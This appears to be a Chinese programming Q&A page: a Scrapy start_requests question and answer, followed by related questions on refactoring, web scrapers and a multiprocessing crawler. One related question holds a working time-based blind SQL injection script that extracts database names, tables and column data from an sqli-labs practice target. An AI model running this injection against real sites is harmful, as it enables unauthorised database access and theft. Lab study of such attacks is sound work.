def start_requests(self): clazz = ["java"] for item in clazz: for i in range(1, 11): # 给i赋值1到10页 url = self.start_urls[0] % (item, i) yield Request(url=url, dont_filter=True)什么意思

时间: 2024-02-15 20:27:13 浏览: 31
这段代码是一个 Scrapy 的 Spider 类中的 start_requests() 方法,它用于生成爬虫开始爬取的请求。其中,clazz 是一个包含要爬取的类别的列表。对于每个类别,通过循环构造了 1 到 10 页的 URL 地址,并通过 Scrapy 中的 Request 对象生成请求。最终通过 yield 关键字返回所有的请求。这里的 dont_filter 参数为 True 表示不进行 URL 去重。
相关问题

优化代码class DeliveryRequest: def __init__(self, name, location, time): self.name = name self.location = location self.time = time class DeliveryStation: def __init__(self, location): self.location = location self.requests = [] def add_request(self, request): self.requests.append(request) def match_deliveryman(self, deliverymen): for request in self.requests: for deliveryman in deliverymen: if request.location == deliveryman.location and request.time == deliveryman.available_time: print(f"您有一个快递将送给{request.name},请您按时送货") print(f"您的快递将由{deliveryman.name}在{request.time}送达,请您按时等候") deliverymen.remove(deliveryman) break class DeliveryMan: def __init__(self, name, location, available_time): self.name = name self.location = location self.available_time = available_time class Dispatcher: def __init__(self, delivery_stations, deliverymen): self.delivery_stations = delivery_stations self.deliverymen = deliverymen def dispatch(self): for station in self.delivery_stations: station.match_deliveryman(self.deliverymen)

可以考虑优化代码的可读性和效率,例如使用列表推导式和更好的命名: ```python class DeliveryRequest: def __init__(self, name, location, time): self.name = name self.location = location self.time = time class DeliveryStation: def __init__(self, location): self.location = location self.requests = [] def add_request(self, request): self.requests.append(request) def match_deliveryman(self, deliverymen): for request in self.requests: matching_deliverymen = [dm for dm in deliverymen if dm.location == request.location and dm.available_time == request.time] for deliveryman in matching_deliverymen: print(f"您有一个快递将送给{request.name},请您按时送货") print(f"您的快递将由{deliveryman.name}在{request.time}送达,请您按时等候") deliverymen.remove(deliveryman) break class DeliveryMan: def __init__(self, name, location, available_time): self.name = name self.location = location self.available_time = available_time class Dispatcher: def __init__(self, delivery_stations, deliverymen): self.delivery_stations = delivery_stations self.deliverymen = deliverymen def dispatch(self): for station in self.delivery_stations: station.match_deliveryman(self.deliverymen) ``` 这样,我们使用列表推导式来创建了一个匹配的快递员列表,然后使用一个 for 循环来遍历它。我们也使用更好的变量名来提高代码的可读性。

def __init__(self, api_root_url): self.api_root_url = api_root_url self.session = requests.session() 为什么定义api_root_url

在Python中,类的__init__方法是一个特殊的方法,用于初始化对象的属性。当我们创建一个类的实例对象时,Python会自动调用该类的__init__方法,并传递实参。在__init__方法中,我们可以定义实例属性,并初始化它们的值。 在给定的代码中,__init__方法接受一个api_root_url参数,表示API的根URL地址。这个参数可以用于在类的其他方法中构造完整的API URL地址,从而发送HTTP请求。例如: ```python class MyAPI: def __init__(self, api_root_url): self.api_root_url = api_root_url self.session = requests.session() def get_user_info(self, user_id): url = self.api_root_url + '/user/info' params = {'user_id': user_id} response = self.session.get(url, params=params) return response.json() ``` 在上述代码中,我们定义了一个MyAPI类,并在__init__方法中初始化了api_root_url属性和session属性。在get_user_info方法中,我们使用api_root_url属性构造了完整的API地址,并使用session对象发送了一个GET请求。 总之,定义api_root_url参数的目的是为了方便类的其他方法使用它,构造完整的API地址并发送HTTP请求。这样,我们就可以通过类的实例对象来访问API,并获取相应的数据了。

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import requests from bs4 import BeautifulSoup import openpyxl class LianJiaSpider(): def __init__(self): self.url = 'https://bj.lianjia.com/ershoufang/pg{0}/' self.headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36 SLBrowser/8.0.0.12022 SLBChan/109'} def send_request(self, url): resp = requests.get(url, headers=self.headers) if resp.status_code == 200: return resp def parse_html(self, resp): lst = [] html = resp.text bs = BeautifulSoup(html, 'lxml') ul = bs.find('ul', class_='sellListContent') li_list = ul.find_all('li') for item in li_list: title = item.find('div', class_='title').text positionInfo = item.find('div', class_='positionInfo').text address = item.find('div', class_='address').text followInfo = item.find('div', class_='followInfo').text tag = item.find('div', class_='tag').text totalPrice = item.find('div', class_='totalPrice totalPrice2').text unitPrice = item.find('div', class_='unitPrice').text # print(unitPrice) lst.append((title, positionInfo, address, followInfo, tag, totalPrice, unitPrice)) print(lst) self.save(lst) def save(self, lst): wb = openpyxl.Workbook() sheet = wb.active for row in lst: sheet.append(row) continue wb.save('D:/爬虫/链家.csv') def start(self): for i in range(1, 5): full_url = self.url.format(i) resp = self.send_request(full_url) #print(resp.text) self.parse_html(resp) if __name__ == '__main__': lianjia = LianJiaSpider() lianjia.start()使用以上代码爬取数据保存到文件中只显示最后一页30条数据,前面页码的数据都被覆盖了,如何更改

帮我把一下代码设置一个合理请求头,并加入一个延时import requests import os from bs4 import BeautifulSoup class NovelDownloader: def __init__(self, root_url): self.root_url = root_url self.book_list = [] self.chapter_list = [] def get_url(self, url): while True: try: res = requests.get(url) if res.status_code == 200: print("页面获取成功!") return res.text else: print("页面返回异常!", res.status_code) except: print("页面获取错误!") def get_book_list(self): res = self.get_url(self.root_url) html = BeautifulSoup(res, "html.parser") a_list = html.find_all("a", {"class": "name"}) for a in a_list: self.book_list.append(a["href"]) self.book_list = [self.root_url + i for i in self.book_list] self.book_list.remove('http://www.biquge5200.cc/') def get_chapter_list(self, url): res = self.get_url(url) html = BeautifulSoup(res, "html.parser") a_list = html.find_all("a", {"class": "chapter"}) for a in a_list: self.chapter_list.append((a["href"], a.text.replace("\n", ""))) def get_content(self, chapter): url = self.root_url + chapter[0] print(url) book_name = chapter[0].split("/")[1] print(book_name) if not os.path.exists(book_name): os.mkdir(book_name) res = self.get_url(url) html = BeautifulSoup(res, "html.parser") content = html.find("div", {"id": "content"}).text print(content) path = os.path.join(book_name, chapter[1]) with open(path, "w", encoding="utf8") as f: f.write(content) def main(self): self.get_book_list() for book in self.book_list: self.get_chapter_list(book) for chapter in self.chapter_list: self.get_content(chapter) if __name__ == '__main__': root_url = "http://www.biquge5200.cc/" nd = NovelDownloader(root_url) nd.main()

import time import requests def get_data_len(url, data_payload): length = 1 while True: data = f"id=1' and if(LENGTH({data_payload})>{length},sleep(0.4),1)--+" start_time = time.time() response = requests.get(url, params=data) end_time = time.time() if end_time - start_time >= 0.4: length += 1 else: break return length def get_ASCII(url, ascii_payload): ascii_value = '' for i in range(1, len(ascii_payload) + 1): left = 32 right = 126 while left <= right: mid = left + (right - left) // 2 data = f"id=1' and if(ASCII(SUBSTRING({ascii_payload}, {i}, 1))>{mid},sleep(0.4),1)--+" start_time = time.time() response = requests.get(url, params=data) end_time = time.time() if end_time - start_time >= 0.4: left = mid + 1 else: right = mid - 1 ascii_value += chr(left) return ascii_value def get_schema_name(url): len = get_data_len(url, 'database()') print('获取数据库名字') db_name = get_ASCII(url, f'substr(database(),1,{len})') print(db_name) def get_table_name(url): table_name = get_ASCII(url, '(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())') print(table_name) def get_column_names(url, table_name): column_names = get_ASCII(url, f"(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='{table_name}')") print(column_names) def get_column_data(url, table_name, column_name): column_data = get_ASCII(url, f"(SELECT GROUP_CONCAT({column_name}) FROM {table_name})") print(column_data) url = "http://192.168.124.128/sqli-labs-master/Less-9/??id=1/" print('开始') get_schema_name(url) print() get_table_name(url) get_column_names(url,'emails') table_name = 'emails' column_name = 'email_id' get_column_data(url, table_name, column_name)帮我写个类似这样的python时间盲注脚本

import http.client from html.parser import HTMLParser import argparse from concurrent.futures import ThreadPoolExecutor import multiprocessing.pool prefix = "save/" readed_path = multiprocessing.Manager().list() cur_path = multiprocessing.Manager().list() new_path = multiprocessing.Manager().list() lock = multiprocessing.Lock() class MyHttpParser(HTMLParser): def __init__(self): HTMLParser.__init__(self) self.tag = [] self.href = "" self.txt = "" def handle_starttag(self, tag, attrs): self.tag.append(tag) # print("start tag in list :" + str(self.tag)) if tag == "a": for att in attrs: if att[0] == 'href': self.href = att[1] def handle_endtag(self, tag): if tag == "a" and len(self.tag) > 2 and self.tag[-2] == "div": print("in div, link txt is %s ." % self.txt) print("in div, link url is %s ." % self.href) lock.acquire() if not self.href in readed_path: readed_path.append(self.href) new_path.append(self.href) # print("end tag in list :" + str(self.tag)) lock.release() self.tag.pop(-1) def handle_data(self, data): if len(self.tag) >= 1 and self.tag[-1] == "a": self.txt = data def LoadHtml(path, file_path): if len(file_path) == 0: file_path = "/" conn = http.client.HTTPConnection(path) try: conn.request("GET", file_path) response = conn.getresponse() print(response.status, response.reason, response.version) data = response.read().decode("utf-8") if response.status == 301: data = response.getheader("Location") lock.acquire() new_path.append(data) lock.release() data = "" #print(data) conn.close() return data except Exception as e: print(e.args) def ParseArgs(): # 初始化解析器 parser = argparse.ArgumentParser() # 定义参数 parser.add_argument("-p", "--path", help="域名") parser.add_argument("-d", "--deep", type=int, help="递归深度") # 解析 args = parser.parse_args() return args def formatPath(path): path = path.removeprefix("https://") path = path.removeprefix("http://") path = path.removeprefix("//") return path def doWork(path): path = formatPath(path) m = path.find("/") if m == -1: m = len(path) data = LoadHtml(path[:m], path[m:]) with open(prefix + path[:m] + ".html", "w+", encoding="utf-8") as f: f.write(data) parse.feed(data) def work(deep,maxdeep): if deep > maxdeep: return args = ParseArgs() cur_path.append(formatPath(args.path)) readed_path.append(formatPath(args.path)) parse = MyHttpParser() e = multiprocessing.Pool(4) for i in range(args.deep): size = len(cur_path) e.map(doWork,cur_path) cur_path[:]=[] for p in new_path: cur_path.append(p) new_path[:]=[] print(i)优化此代码能在windows下运行

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